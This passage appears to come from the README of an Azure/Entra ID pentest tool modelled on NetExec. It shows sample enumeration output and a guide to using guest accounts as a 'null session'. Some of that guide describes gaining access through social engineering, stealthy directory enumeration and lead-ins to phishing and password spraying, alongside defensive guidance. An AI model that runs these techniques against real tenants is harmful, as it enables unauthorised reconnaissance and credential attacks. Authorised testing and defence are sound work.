        [-] Microsoft Graph : Directory.Read.All (ID: 7ab1d382-f21e-4acd-a863-ba3e13f7da61)
        [-] Microsoft Graph : Group.Read.All (ID: 5b567255-7703-4780-807c-7be8301ae99b)
    [+] Delegated Permissions (OAuth2):
        [-] Microsoft Graph : User.Read Group.Read.All (ConsentType: AllPrincipals)
        [-] Office 365 SharePoint Online : AllSites.Read (ConsentType: AllPrincipals)
    [+] Owners:
        [-] John Doe [user] (john.doe@example.com)

AZR         f6e5d4c3b2a1    443    Legacy Service Principal               [*] (appId:98765432-4321-4321-4321-210987654321) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:1) (appRoles:0) (delegated:0) (owners:0)

AZR         1234567890ab    443    High-Risk Admin SPN                    [*] (appId:abcdef12-3456-7890-abcd-ef1234567890) (type:Application) (status:Enabled) (pwdCreds:1) (certCreds:0) (appRoles:5) (delegated:3) (owners:2)
    [+] Application Permissions (App Roles):
        [-] Microsoft Graph : RoleManagement.ReadWrite.Directory (ID: 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8)
        [-] Microsoft Graph : Application.ReadWrite.All (ID: 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9)
        [-] Microsoft Graph : Directory.ReadWrite.All (ID: 19dbc75e-c2e2-444c-a770-ec69d8559fc7)
```

**Color Coding:**
- **Green**: Service principals with permissions and proper certificate-based authentication
- **Yellow**: Password-only credentials (security risk)
- **DarkGray**: Disabled service principals
- **Cyan**: Default for other service principals

**Security Indicators:**
- **Password-only credentials** (pwdCreds > 0, certCreds = 0): Vulnerable to credential theft
- **High-risk permissions**: RoleManagement.ReadWrite, Application.ReadWrite, Directory.ReadWrite
- **No owners** (owners = 0): Orphaned service principals that may be abandoned
- **Many permissions** (appRoles or delegated > 5): Potential over-privileged service principals
- **Cyan**: Normal applications with mixed or secure configuration
- **Dark Gray**: Applications with no credentials

**Credential Types:**
- **Certificate**: Uses certificate-based authentication (recommended, most secure)
- **Password**: Uses password/secret-based authentication (weaker security)
- **Both**: Has both password and certificate credentials
- **None**: No credentials configured (may use managed identity or delegated permissions)

**Application Types:**
- **App**: Application registration
- **SPN**: Service Principal

**Security Indicators:**
- `publicClient:True` = ROPC flow enabled, vulnerable to password spray attacks
- `creds:Password` = Password-only authentication, vulnerable to credential theft
- Applications with `Password` credentials and no certificates are flagged as HIGH risk

**Summary Statistics Displayed:**
- Total registered applications
- Apps with password credentials
- Apps with certificate credentials
- Public client apps (ROPC-enabled)
- Total service principals
- SPNs with password/certificate credentials
- Enabled service principals
- Managed identities count
- Security warnings for password-only configurations
- **Distribution**: Distribution lists (mail-enabled)

**Summary Statistics:**
- Total groups found
- Security groups count
- Mail-enabled groups count
- Microsoft 365 groups count
- Dynamic groups count

### Password Policy Output (mimics `nxc smb --pass-pol`)

```
AZR         <TenantName>                         443    [*] Password Policy Information

[*] Azure AD Default Password Requirements (Always Enforced):
        Minimum Length:            8 characters
        Maximum Length:            256 characters
        Complexity:                3 of 4 character types (upper, lower, numbers, symbols)
        Banned Passwords:          Global banned password list (enforced)
        Common Password Check:     Fuzzy matching enabled
        Contextual Check:          Username/display name check enabled

[+] Password Validity Period:     90 days
    [+] Password Notification Window: 14 days
    [+] Verified Domains:             2 domain(s)
        - example.com (Default)
        - example.onmicrosoft.com (Initial)
    [+] Technical Notification Emails: 1
        - admin@example.com

[*] Retrieving Smart Lockout Settings (Account Protection)...
[+] Smart Lockout Configuration:
    [*] Lockout Threshold:            10 failed attempts (Azure AD default)
    [*] Lockout Duration:             60 seconds initial, increases with repeated attempts
    [*] Lockout Counter Reset:        After successful sign-in
    [*] Account Lockout Detection:    Automated based on sign-in patterns
    [*] Familiar Location Detection:  Enabled (sign-ins from familiar IPs are less restricted)

[*] MFA Registration Campaign:
        State: enabled
        Snooze Duration: 14 days

[*] Enabled Authentication Methods:
        [+] Microsoft Authenticator (Enabled)
        [+] SMS (Enabled)
        [+] FIDO2 Security Key (Enabled)

[+] Security Defaults: ENABLED
    [*] This enforces MFA for administrators and users when needed
    [*] Blocks legacy authentication protocols
    [*] Protects privileged activities (Azure portal, PowerShell, etc.)

[+] Found 5 Conditional Access Policies

[ENABLED] Require MFA for Admins
        [+] Requires MFA
        Scope: All Applications
    [ENABLED] Block Legacy Authentication
        Scope: All Applications
    [REPORT-ONLY] Require Compliant Device
        Scope: All Applications

[*] CA Policy Summary:
        Enabled: 3
        Report-Only: 1
        Disabled: 1

[*] ========================================
[*] Password Policy Summary (NetExec Style)
[*] ========================================
[+] Minimum Password Length:     8 characters (Azure AD enforced)
[+] Password Complexity:         3 of 4 character types required
[+] Password History:            N/A (Azure AD cloud-only)
[+] Lockout Threshold:           10 failed attempts (Smart Lockout)
[+] Lockout Duration:            60 seconds (increases with repeated attempts)
[+] Lockout Observation Window:  Dynamic based on sign-in patterns
[+] Maximum Password Age:        90 days
[+] Minimum Password Age:        N/A (Azure AD cloud-only)
[+] Banned Password List:        Enabled (Global + Custom if configured)
[+] Smart Lockout:               Enabled (Azure AD default)
[+] Security Defaults:           Enabled (MFA enforced)
[+] Conditional Access:          5 policies configured
```

**Color Coding:**
- **Green**: Good security posture (Security Defaults enabled, policies enforced, MFA required)
- **Yellow**: Security considerations (Security Defaults disabled, report-only policies)
- **Cyan**: Informational (policy details, settings)
- **Dark Gray**: Technical details (authentication methods, domains)

**Information Retrieved (Enhanced - NetExec Style):**
- **Default Password Requirements**: Minimum/maximum length, complexity, banned passwords (always enforced by Azure AD)
- **Smart Lockout Settings**: Lockout threshold (10 attempts), duration (60s+), familiar location detection
- **Password Policies**: Expiration periods, notification windows
- **Domain Configuration**: Verified domains, default domains
- **Authentication Methods**: Enabled MFA methods (Authenticator, SMS, FIDO2, etc.)
- **Security Defaults**: Whether baseline security is enabled (MFA, legacy auth blocking)
- **Conditional Access Policies**: Policies enforcing MFA, device compliance, location restrictions
- **Technical Contacts**: Admin and security notification emails
- **NetExec-Style Summary**: Formatted output similar to `nxc smb --pass-pol` with all key password policy settings

**Azure AD vs On-Premises Password Policy Comparison:**

| Policy Setting | On-Premises AD (NetExec) | Azure AD (AZexec) |
|----------------|--------------------------|-------------------|
| **Minimum Password Length** | Configurable (default: 7) | **8 characters (enforced)** |
| **Password Complexity** | Configurable (default: enabled) | **3 of 4 character types (enforced)** |
| **Password History** | Configurable (default: 24) | N/A (cloud-only, no history tracking) |
| **Lockout Threshold** | Configurable (default: varies) | **10 failed attempts (Smart Lockout)** |
| **Lockout Duration** | Configurable (default: 30 min) | **60 seconds (increases with repeated attempts)** |
| **Lockout Observation Window** | Configurable (default: 30 min) | **Dynamic (based on sign-in patterns)** |
| **Maximum Password Age** | Configurable (default: 42 days) | Configurable (default: no expiration) |
| **Minimum Password Age** | Configurable (default: 1 day) | N/A (cloud-only) |
| **Banned Passwords** | Not available | **Global banned list + custom words (enforced)** |
| **Common Password Check** | Not available | **Fuzzy matching (enforced)** |
| **Contextual Check** | Not available | **Username/display name check (enforced)** |
| **Familiar Location Detection** | Not available | **Enabled (less restrictive for known IPs)** |

**Key Differences:**
- Azure AD enforces stronger baseline password requirements (min 8 chars, complexity, banned passwords)
- Azure AD Smart Lockout is more intelligent (familiar location detection, dynamic observation window)
- Azure AD doesn't support password history (cloud-only limitation)
- Azure AD's lockout duration increases with repeated attempts (adaptive security)
- Azure AD banned password list protects against common weak passwords globally

### Guest Login Enumeration Output (mimics `nxc smb -u 'a' -p ''`)

```
[*] AZX - Azure/Entra Guest Login Enumeration
[*] Command: Guest Enumeration (Similar to: nxc smb -u 'a' -p '')
[*] Target Domain: targetcorp.com
[*] Method: ROPC Authentication Testing

[*] Phase 1: Checking tenant guest configuration (unauthenticated)...
AZR         targetcorp.com                      443    [+] Tenant exists
AZR         targetcorp.com                      443    [*] NameSpaceType: Managed
AZR         targetcorp.com                      443    [*] Federation: Managed (Cloud-only)
AZR         targetcorp.com                      443    [+] External/Guest users: Likely ENABLED (B2B)

[*] Phase 2: Testing guest authentication...
AZR         targetcorp.com                      443    alice@targetcorp.com                   [+] Valid credentials - MFA REQUIRED
AZR         targetcorp.com                      443    bob@targetcorp.com                     [-] Invalid credentials
AZR         targetcorp.com                      443    admin@targetcorp.com                   [!] ACCOUNT LOCKED
AZR         targetcorp.com                      443    test@targetcorp.com                    [!] PASSWORD EXPIRED (valid user)
AZR         targetcorp.com                      443    service@targetcorp.com                 [+] SUCCESS! Got access token (password)

[*] Authentication Test Summary:
    Total Tested:    5
    Valid Creds:     3
    MFA Required:    1
    Accounts Locked: 1
```

**Color Coding:**
- **Green**: Valid credentials (with or without MFA requirement)
- **Yellow**: Valid user but blocked (MFA required, password expired, account locked)
- **Dark Gray**: Invalid credentials or user not found
- **Red**: Check failed (network/API error)

**Authentication Result Codes:**
- `[+] SUCCESS! Got access token` - Valid credentials, authentication successful
- `[+] Valid credentials - MFA REQUIRED` - Credentials are valid but MFA is required (good for password spray)
- `[+] Valid credentials - CONSENT REQUIRED` - Credentials valid, app consent needed
- `[!] ACCOUNT LOCKED` - Too many failed attempts, account is locked
- `[!] PASSWORD EXPIRED (valid user)` - Password expired but user exists
- `[-] Invalid credentials` - Wrong username or password
- `[-] User not found` - Username does not exist in tenant
- `[-] Account disabled` - Account exists but is disabled
- `[!] ROPC disabled` - ROPC flow is disabled (try device code flow)

**Phase 1 Information (Unauthenticated):**
- **Tenant Exists**: Whether the domain is a valid Azure tenant
- **NameSpaceType**: Managed (cloud-only) or Federated (on-premises)
- **Federation Status**: Authentication method (cloud, ADFS, etc.)
- **B2B Status**: Whether external/guest users are likely accepted

**Phase 2 Information (Authentication Testing):**
- Per-user authentication test results
- MFA detection (valid creds even if MFA blocks)
- Account lockout detection
- Password expiration detection

### Active Session Enumeration Output (mimics `nxc smb --qwinsta`)

```
[*] AZX - Azure/Entra Active Session Enumeration
[*] Command: Sessions (Similar to: nxc smb --qwinsta)
[*] Querying sign-in logs for last 24 hours...

[+] Authenticated as: admin@targetcorp.com

[*] ========================================
[*] ACTIVE SIGN-IN SESSIONS
[*] ========================================

[*] Querying Azure AD sign-in logs (this may take a moment)...
[+] Found 47 sign-in events

AZR          alice@targetcorp.com                      203.0.113.45   [+] SUCCESS
    Time:      2024-12-14 08:23:15
    Device:    ALICE-LAPTOP (Windows 11)
    App:       Microsoft Teams
    Location:  Seattle, United States
    MFA:       Required

AZR          bob@targetcorp.com                        198.51.100.12  [+] SUCCESS
    Time:      2024-12-14 08:15:42
    Device:    BOB-DESKTOP (Windows 10)
    App:       Office 365 Exchange Online
    Location:  New York, United States

AZR          charlie@targetcorp.com                    192.0.2.100    [!] FAILED
    Time:      2024-12-14 07:58:30
    Device:    Unknown Device (Linux)
    App:       Azure Portal
    Location:  Moscow, Russia
    Risk:      HIGH
    Error:     Invalid username or password

AZR          alice@targetcorp.com                      203.0.113.45   [+] SUCCESS
    Time:      2024-12-14 07:45:12
    Device:    ALICE-LAPTOP (Windows 11)
    App:       SharePoint Online
    Location:  Seattle, United States
    MFA:       Required

[*] ========================================
[*] SESSION SUMMARY
[*] ========================================

AZR          Total Sign-ins:      47
AZR          Unique Users:        15
AZR          Successful:          42
AZR          Failed:              5
AZR          MFA Protected:       38
AZR          Risky Sign-ins:      2

[*] Top Active Users:
    alice@targetcorp.com: 8 sign-ins
    bob@targetcorp.com: 6 sign-ins
    carol@targetcorp.com: 4 sign-ins
    dave@targetcorp.com: 3 sign-ins
    eve@targetcorp.com: 3 sign-ins

[*] Top Applications:
    Microsoft Teams: 12 sign-ins
    Office 365 Exchange Online: 10 sign-ins
    SharePoint Online: 8 sign-ins
    Azure Portal: 5 sign-ins
    Microsoft Graph: 4 sign-ins

[*] Session enumeration complete!
```

**Key Information Displayed:**
- **Timestamp**: Local time when sign-in occurred
- **User**: UserPrincipalName (email/username)
- **Status**: SUCCESS (green) or FAILED (red)
- **IP Address**: Source IP of the connection
- **Device**: Device name and operating system
- **Application**: Which app/service was accessed
- **Location**: Geographic location (city, country)
- **MFA Status**: Whether MFA was required
- **Risk Level**: HIGH/MEDIUM/LOW (if Identity Protection detects risk)
- **Error Details**: Failure reason for unsuccessful sign-ins

**Summary Statistics:**
- Total sign-in events found
- Number of unique users
- Success vs failure counts
- MFA-protected session count
- Risky sign-in count
- Top 5 most active users
- Top 5 most accessed applications

### Vulnerable Target Enumeration Output (mimics `nxc smb --gen-relay-list`)

```
[*] AZX - Vulnerable Target Enumeration
[*] Command: Vuln-List (Azure Relay Target Equivalent)
[*] Similar to: nxc smb 192.168.1.0/24 --gen-relay-list

[*] PHASE 1: Unauthenticated Enumeration
[*] ========================================

[+] Using auto-detected domain: targetcorp.com

[*] Checking tenant configuration for: targetcorp.com
    [+] Tenant ID: 12345678-1234-1234-1234-123456789abc
    [!] IMPLICIT FLOW ENABLED - Token theft risk

[*] Testing guest/external authentication...
    [!] ROPC ENABLED - Password spray/brute force possible

[*] Checking legacy authentication endpoints...
    [*] Exchange ActiveSync endpoint accessible
    [*] Autodiscover endpoint accessible (requires auth)

[*] PHASE 2: Authenticated Enumeration
[*] ========================================

[+] Using existing Graph connection: user@targetcorp.com

[*] Enumerating Service Principals with password credentials...
    (Like SMB hosts without signing - weaker authentication)
    [!] Legacy App Service
        AppId: aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee
    [!] API Integration [EXPIRING SOON]
        AppId: 11111111-2222-3333-4444-555555555555

[*] Total password-only service principals: 12

[*] Enumerating applications with public client flows enabled...
    (Allows ROPC - direct username/password authentication)
    [!] Mobile App [MEDIUM]
        AppId: 99999999-8888-7777-6666-555555555555 | Audience: AzureADMultipleOrgs
    [!] Desktop Client [HIGH]
        AppId: 00000000-1111-2222-3333-444444444444 | Audience: AzureADMyOrg

[*] Total public client applications: 5

[*] Checking Security Defaults and Conditional Access...
    [!] SECURITY DEFAULTS DISABLED
        Check if Conditional Access provides equivalent protection
    [!] LEGACY AUTH NOT BLOCKED - MFA bypass possible
    [*] Found 8 Conditional Access policies

[*] Enumerating guest users...
    (External users = potential 'null session' equivalent)
    [*] Total guest users: 47
    [*] Active guests (90 days): 23
    [!] Stale guests (no activity 90+ days): 24

[*] Checking for applications with dangerous API permissions...
    [!] Third-Party Sync App
        Permissions: Mail.ReadWrite, Mail.Send
    [!] Backup Solution
        Permissions: Files.ReadWrite.All, Sites.ReadWrite.All

[*] Total apps with dangerous permissions: 3

[*] Checking guest user permission level...
    (Determines what guests can enumerate - the 'null session' equivalent)
    [!] CRITICAL: Guest access = SAME AS MEMBER USERS
        Guests can enumerate entire directory (null session equivalent)
    [!] Guest invites: ANYONE can invite (including guests)

[*] Checking for users without MFA methods registered...
    (Users vulnerable to credential stuffing/phishing)
    [!] Users WITHOUT MFA: 23
        - John Smith
        - Jane Doe [ADMIN]
        - Bob Wilson
        - Alice Johnson
        - Test Account
        ... and 18 more
    [!] CRITICAL: 2 ADMIN(S) without MFA!
    [*] Total checked: 150 | With MFA: 127 | Without: 23

[*] ========================================
[*] VULNERABILITY SUMMARY
[*] ========================================

AZR         targetcorp.com                      443    [*] Vuln-List Results

[!] HIGH RISK findings:   12
    [!] MEDIUM RISK findings: 10
    [*] Total findings:       22

[+] Full results exported to: vuln_report.json

[*] RECOMMENDATIONS:
    [!] Address HIGH risk findings immediately:
        - Replace password credentials with certificates for service principals
        - Block legacy authentication via Conditional Access
        - Review and minimize dangerous API permissions
        - Restrict guest user permissions to "Most restricted"
        - Enforce MFA registration for all users (especially admins!)
    [*] Review MEDIUM risk findings:
        - Audit public client applications
        - Clean up stale guest accounts
        - Enable Security Defaults or equivalent CA policies
        - Restrict guest invite permissions

[*] Vuln-list enumeration complete!
```

**Color Coding:**
- **Red**: HIGH risk findings (immediate action required)
- **Yellow**: MEDIUM risk findings (should be reviewed)
- **Green**: Passed checks or good security posture
- **Dark Gray**: Informational findings

**Phase 1 (Unauthenticated) Checks:**
- Tenant configuration (implicit flow, ROPC status)
- Legacy authentication endpoint accessibility
- Guest/external authentication acceptance

**Phase 2 (Authenticated) Checks:**
- Service principals with password-only credentials (no certificate auth)
- Applications with public client flows (ROPC vulnerable)
- Security Defaults and Conditional Access gaps
- Legacy authentication blocking policies
- Guest user enumeration and stale accounts
- Dangerous OAuth permission grants
- **Guest permission level** (null session vulnerability)
- **Users without MFA registered** (credential attack targets)
- Guest invite policy configuration

**Export Formats:**
- `.txt` - Simple relay-list style (HIGH risk only): `Type,Target,Vulnerability`
- `.json` - Full findings with all metadata
- `.csv` - Spreadsheet-friendly format

## 🔍 Security Risk Assessment Guide

### Tenant Discovery Security Assessment

When running `.\azx.ps1 tenant`, the tool performs security-focused enumeration similar to `nxc smb --enum` and may identify the following:

#### Exposed Application IDs
- **What**: Publicly accessible application/client IDs in the tenant configuration
- **Risk**: These IDs can be used to craft targeted phishing attacks or test for misconfigured application permissions
- **Severity**: Low to Medium (depends on application configuration)

#### Exposed Redirect URIs
- **What**: OAuth redirect URIs that are publicly visible
- **Risk**: Can reveal internal application URLs, development endpoints, or misconfigured redirect targets
- **Severity**: Medium (may expose internal infrastructure or enable redirect attacks)

#### Implicit Flow Enabled
- **What**: The OAuth implicit flow is supported (returns tokens in URL fragments)
- **Risk**: Tokens in URLs can be logged, leaked via referrer headers, or stolen via XSS
- **Recommendation**: Modern applications should use Authorization Code flow with PKCE
- **Severity**: Medium (security consideration for modern apps)

#### Risky Grant Types

**Password Grant (Resource Owner Password Credentials)**:
- **What**: Allows applications to collect user passwords directly
- **Risk**: Defeats MFA, password policies, and creates credential theft opportunities
- **Recommendation**: Should only be used for legacy systems during migration
- **Severity**: High

**Client Credentials Grant**:
- **What**: Application-only authentication without user context
- **Risk**: If client secret is compromised, attackers gain application-level access
- **Recommendation**: Use certificate-based authentication and rotate secrets regularly
- **Severity**: Medium (requires proper secret management)

#### Accessible Federation Metadata
- **What**: Publicly accessible federation configuration XML
- **Risk**: Reveals federation partners, entity IDs, and authentication endpoints
- **Severity**: Low (informational for reconnaissance)

### When to Be Concerned

🔴 **High Priority**:
- Password grant type enabled
- Redirect URIs pointing to non-HTTPS endpoints
- Wildcard redirect URIs (e.g., `https://*.example.com/*`)

🟡 **Medium Priority**:
- Implicit flow enabled for new applications
- Client credentials without proper rotation
- Exposed internal application URLs

🟢 **Low Priority / Informational**:
- Federation metadata available (expected for federated tenants)
- Standard OpenID configuration exposure (normal)
- Common grant types like authorization_code

## 🔓 Guest User Enumeration - The Azure "Null Session"

> **⚠️ CRITICAL SECURITY FINDING**: This is one of the most underestimated attack vectors in Azure/Entra ID. Most organizations are vulnerable and don't even know it.

### Understanding the Azure Null Session Equivalent

**Critical Security Finding**: Guest users in Azure/Entra ID represent the modern equivalent of SMB null sessions - a low-privileged account that can often enumerate significant directory information due to misconfigured default permissions.

**TL;DR for Pentesters:**
- Get invited as a guest (or compromise a vendor/partner account)
- Run `.\azx.ps1 hosts` with guest credentials
- Enumerate entire directory with minimal detection
- Profit 💰

### The Attack Vector

In classic on-premises Active Directory penetration testing, attackers would use **null session** (anonymous) connections to enumerate users, groups, and shares via SMB. In Azure/Entra ID, **guest accounts** serve a similar purpose:

```
Traditional Attack:        Modern Azure Equivalent:
┌─────────────────┐       ┌──────────────────────┐
│  SMB Null       │       │  Guest User Account  │
│  Session        │  ───> │  (External B2B)      │
│  (Anonymous)    │       │                      │
└─────────────────┘       └──────────────────────┘
         ↓                            ↓
    Enumerate:                   Enumerate:
    - Users                      - Users
    - Groups                     - Groups
    - Shares                     - Devices
    - Computers                  - Applications
                                 - Service Principals
```

### Access Level Comparison

| Access Level | Authentication Required | Enumeration Capabilities | Detection Risk | Use Case |
|-------------|------------------------|-------------------------|----------------|----------|
| **No Authentication** | ❌ None | Tenant config, username validation, federation metadata | 🟢 **None** | Initial reconnaissance |
| **Guest User** | ✅ Guest credentials | Users, groups, devices, some apps (if not restricted) | 🟡 **Low** | **"Null session"** - Primary enumeration method |
| **Member User** | ✅ Member credentials | Full directory, all devices, groups, apps, policies | 🔴 **High** | Post-compromise enumeration |
| **Global Admin** | ✅ Admin credentials | Everything including security settings, CA policies | 🔴 **Critical** | Full tenant control |

**Key Takeaway**: Guest user access provides **80% of the information** with **20% of the risk** - making it the optimal reconnaissance method.

### Why This Works

**Default Azure/Entra ID Guest Permissions:**
When external collaboration is enabled (which it is in most organizations), guest users receive the following default permissions:

1. **User.Read.All** - Read all users' basic profiles
2. **Group.Read.All** - Read all group information
3. **Device.Read.All** - Read all device information (often enabled)
4. **Directory.Read.All** - Read directory data (depending on configuration)

**The Problem:**
- Most organizations enable external collaboration for business needs (partners, vendors, contractors)
- Default guest permissions are often **NOT** restricted
- Organizations don't realize guests can enumerate the entire directory
- Guest access generates **minimal logs and alerts** compared to compromised member accounts
- This is a **low-noise reconnaissance technique** perfect for initial access scenarios

### Testing for Guest Enumeration Vulnerability

#### Step 1: Check if the Organization Has Guest Users

```powershell
# Enumerate from outside (no authentication required)
.\azx.ps1 tenant -Domain target.com

# Look for:
# - External collaboration enabled
# - B2B integration settings
# - Guest user access restrictions
```

#### Step 2: Obtain Guest Access (Red Team Scenarios)

Common methods to obtain guest credentials:
1. **Social Engineering**: Request access as a "vendor" or "partner"
2. **Compromised Partner**: Use credentials from a compromised partner organization
3. **Open Registrations**: Some orgs have self-service guest registration
4. **Leaked Credentials**: Guest accounts in breach databases
5. **Business Email**: Create legitimate business relationship requiring collaboration

#### Step 3: Enumerate as Guest User

Once you have guest credentials (e.g., `external-user@partner.com`):

```powershell
# Connect as guest user
Connect-MgGraph -Scopes "User.Read.All","Group.Read.All","Device.Read.All"
# (Login with guest credentials when prompted)

# Enumerate all users in the target tenant
.\azx.ps1 hosts -Scopes "User.Read.All,Device.Read.All"

# Check what you can access with the new commands
.\azx.ps1 hosts
.\azx.ps1 groups
.\azx.ps1 pass-pol

# Or use Graph API directly
Get-MgUser -All | Select-Object DisplayName, UserPrincipalName, JobTitle, Department
Get-MgGroup -All | Select-Object DisplayName, Description
Get-MgDevice -All | Select-Object DisplayName, OperatingSystem
```

### Example Attack Flow

```powershell
# 1. Initial reconnaissance (no auth)
.\azx.ps1 tenant -Domain targetcorp.com -ExportPath tenant-info.json
.\azx.ps1 users -Domain targetcorp.com -CommonUsernames -ExportPath valid-users.csv

# 2. Obtain guest access (assume you now have guest credentials)
# Login as: compromised-vendor@partner.com

# 3. Enumerate as guest (low-noise reconnaissance)
.\azx.ps1 hosts -ExportPath devices.csv
.\azx.ps1 groups -ExportPath groups.csv
.\azx.ps1 pass-pol -ExportPath policy.json

# Result: Complete tenant inventory without triggering high-severity alerts
```

### What Can Guest Users Typically Enumerate?

With default guest permissions, you can often access:

✅ **Users**
- Display names, email addresses, job titles
- Department and office location
- Manager relationships
- Photos and profile information

✅ **Groups** (use `.\azx.ps1 groups`)
- Group names and descriptions
- Group membership (often)
- Distribution lists
- Microsoft Teams teams
- Security groups and mail-enabled groups
- Group types and creation dates

✅ **Devices** (use `.\azx.ps1 hosts`)
- Device names and IDs
- Operating systems and versions
- Compliance status
- Trust type (Azure AD joined, Hybrid)
- Last sign-in times
- Device owners (with `-ShowOwners` flag)

✅ **Applications**
- Registered applications
- Service principals
- OAuth permissions granted
- Redirect URIs

🟡 **Password Policies** (use `.\azx.ps1 pass-pol` - limited for guests)
- Password expiration settings (often visible)
- Domain configuration (often visible)
- Authentication methods (may be visible)
- Security Defaults status (often restricted)
- **Conditional Access Policies (usually restricted)**

❌ **What's Usually Restricted for Guests:**
- Conditional access policies (admin/member only)
- Full security defaults settings
- Most privileged role assignments
- Certain sensitive user attributes
- Detailed policy configurations
- Security posture details

### Defensive Recommendations

Organizations should **immediately** review and restrict guest user permissions:

#### 1. Review External Collaboration Settings
```powershell
# Check current guest settings
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty GuestUserRoleId
```

#### 2. Restrict Guest Permissions (Recommended)
- **Navigate to**: Azure Portal → Entra ID → Users → User settings → External users
- **Set**: "Guest user access restrictions" to **"Guest users have limited access to properties and memberships of directory objects"** (most restrictive)

#### 3. Monitor Guest Activity
- Enable guest user sign-in logs
- Alert on guest users accessing Microsoft Graph API
- Review guest users regularly and remove unused accounts

#### 4. Conditional Access for Guests
- Require MFA for all guest users
- Restrict guest access to specific applications
- Block guest access from untrusted locations

#### 5. Regular Audits
```powershell
# List all guest users
Get-MgUser -Filter "userType eq 'Guest'" | Select-Object DisplayName, UserPrincipalName, CreatedDateTime

# Check guest permissions
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq 'guest-user-id'"
```

### Detection and Monitoring

**Log Sources to Monitor:**
- **Azure AD Sign-in Logs**: Guest user authentication events
- **Audit Logs**: Guest user enumeration via Microsoft Graph
- **Microsoft Graph API Logs**: High volume of read requests from guest users

**Suspicious Indicators:**
- Guest user enumerating large numbers of users/devices/groups
- Guest user accessing Microsoft Graph API outside business hours
- Guest user with newly created account performing enumeration
- Multiple failed Graph API calls followed by successful enumeration

### Why This is Critical

🔴 **High Impact**:
- Complete directory enumeration with minimal privileges
- Low detection rate compared to compromised member accounts
- Perfect for initial reconnaissance in red team operations
- Can identify high-value targets for further attacks

🟡 **Common Misconfiguration**:
- Default settings favor collaboration over security
- Most organizations are **unaware** of guest enumeration capabilities
- Rarely monitored or audited

🔐 **Mitigation Priority**:
- **Immediate**: Review and restrict guest permissions
- **Short-term**: Implement monitoring for guest activity
- **Long-term**: Regular audits and least-privilege access model

### Quick Vulnerability Check

**For Defenders - Check if Your Org is Vulnerable:**
```powershell
# 1. Check external collaboration settings
Get-MgPolicyAuthorizationPolicy | Select-Object -ExpandProperty GuestUserRoleId

# 2. List all guest users
Get-MgUser -Filter "userType eq 'Guest'" | Measure-Object

# 3. Test what guests can see (safe - read-only)
# Login as a test guest account and run:
Get-MgUser -Top 10  # If this works, you're vulnerable
Get-MgDevice -Top 10  # If this works, you're VERY vulnerable
```

**Guest User Role IDs:**
- `a0b1b346-4d3e-4e8b-98f8-753987be4970` = **VULNERABLE** (Guest users have the same access as member users)
- `10dae51f-b6af-4016-8d66-8c2a99b929b3` = **LIMITED** (Guests have limited access - still allows some enumeration)
- `2af84b1e-32c8-42b7-82bc-daa82404023b` = **RESTRICTED** (Most restrictive - recommended)

**For Red Teamers - Quick Win Checklist:**
- [ ] Obtain guest credentials (social engineering, compromised partner, etc.)
- [ ] Run `.\azx.ps1 hosts` with guest creds
- [ ] If successful, run with `-ShowOwners -ExportPath loot.json`
- [ ] Enumerate users: `Get-MgUser -All`
- [ ] Enumerate groups: `Get-MgGroup -All`
- [ ] Identify high-value targets (admins, executives)
- [ ] Pivot to targeted phishing or credential attacks

## 🔐 Authentication & Scope Requirements

### Username Enumeration (No Authentication Required)
The `users` command uses the public GetCredentialType API endpoint and does not require authentication. This makes it perfect for:
- Initial reconnaissance and user discovery
- Validating email addresses before phishing campaigns (for authorized red team operations)
- User enumeration during penetration tests
- Identifying valid usernames for password spraying attacks (authorized only)

**How it Works:**
The tool queries `https://login.microsoftonline.com/common/GetCredentialType` which is a public endpoint used by Microsoft login pages to determine the authentication method for a username. The API returns:
- `IfExistsResult: 0` - User exists (Managed/Cloud authentication)
- `IfExistsResult: 1` - User does not exist
- `IfExistsResult: 5` - User exists (Alternate authentication)
- `IfExistsResult: 6` - User exists (Federated authentication)

**Domain Auto-Detection:**
If you don't specify a domain with `-Domain`, the tool will automatically attempt to detect your current user's domain from:
- User Principal Name (UPN) via `whoami /upn` (Windows)
- Environment variable `USERDNSDOMAIN`
- Current user's Windows identity

This allows you to quickly run `.\azx.ps1 users -CommonUsernames` without specifying a domain.

**Input Methods:**
1. **Single Username**: Check one specific username
2. **File Input**: Read usernames from a text file (one per line, comments starting with # are ignored)
3. **Common Usernames**: Use built-in list of common usernames (admin, administrator, support, helpdesk, etc.)

**Enhanced Features (v2.0):**
- **Progress Tracking**: Real-time progress bar for large lists (>10 users) with ETA
- **Retry Logic**: Automatic retries with exponential backoff (100ms → 200ms → 400ms)
- **Adaptive Rate Limiting**: Smart delays based on list size
  - Small (<50 users): 50ms delay - fast enumeration
  - Medium (50-200 users): 100ms delay - balanced approach
  - Large (>200 users): 150ms delay - stealth-focused
- **Detailed Statistics**: Duration tracking, rate calculation (checks/sec), auth type breakdown
- **Error Tracking**: Separates network failures from invalid usernames
- **Next Steps Guidance**: Automatic commands for Phase 2 password spraying

**Performance:**
- Small lists: ~1-2 seconds per user
- Large lists: ~3-4 seconds per user  
- Example: 500 usernames ≈ 100 seconds (~5 users/sec)

### Tenant Discovery (No Authentication Required)
The `tenant` command uses public OpenID configuration endpoints and does not require authentication. This makes it perfect for reconnaissance and initial discovery.

**Enhanced Enumeration**: The tool now performs comprehensive tenant reconnaissance similar to `nxc smb --enum`, including:
- **OpenID Configuration Analysis**: Queries both tenant-specific and common v2.0 OpenID endpoints
- **Exposed Application Discovery**: Identifies publicly accessible application IDs and client configurations
- **Redirect URI Enumeration**: Detects exposed redirect URIs that may indicate misconfigured applications
- **OAuth Misconfiguration Detection**: Flags potential security risks including:
  - Implicit flow configurations (security consideration for modern applications)
  - Risky grant types (password, client_credentials)
  - Publicly accessible federation metadata
- **Federation Metadata**: For federated tenants, attempts to retrieve and parse federation metadata XML
- **Endpoint Probing**: Checks for accessible Microsoft Graph and Azure Management endpoints

**What Gets Enumerated**:
1. **Standard OpenID Configuration**: Tenant ID, issuer, authorization/token endpoints, JWKS URI
2. **Security Posture**: Response types, grant types, supported scopes and claims
3. **Application Exposure**: App IDs, redirect URIs, and client configurations that are publicly accessible
4. **Federation Details**: Entity IDs and federation endpoints for federated authentication
5. **Misconfigurations**: Potentially risky OAuth/OIDC configurations that may indicate security weaknesses

**Auto-Detection Feature**: If you don't specify a domain, the tool will automatically attempt to detect your current user's domain from:
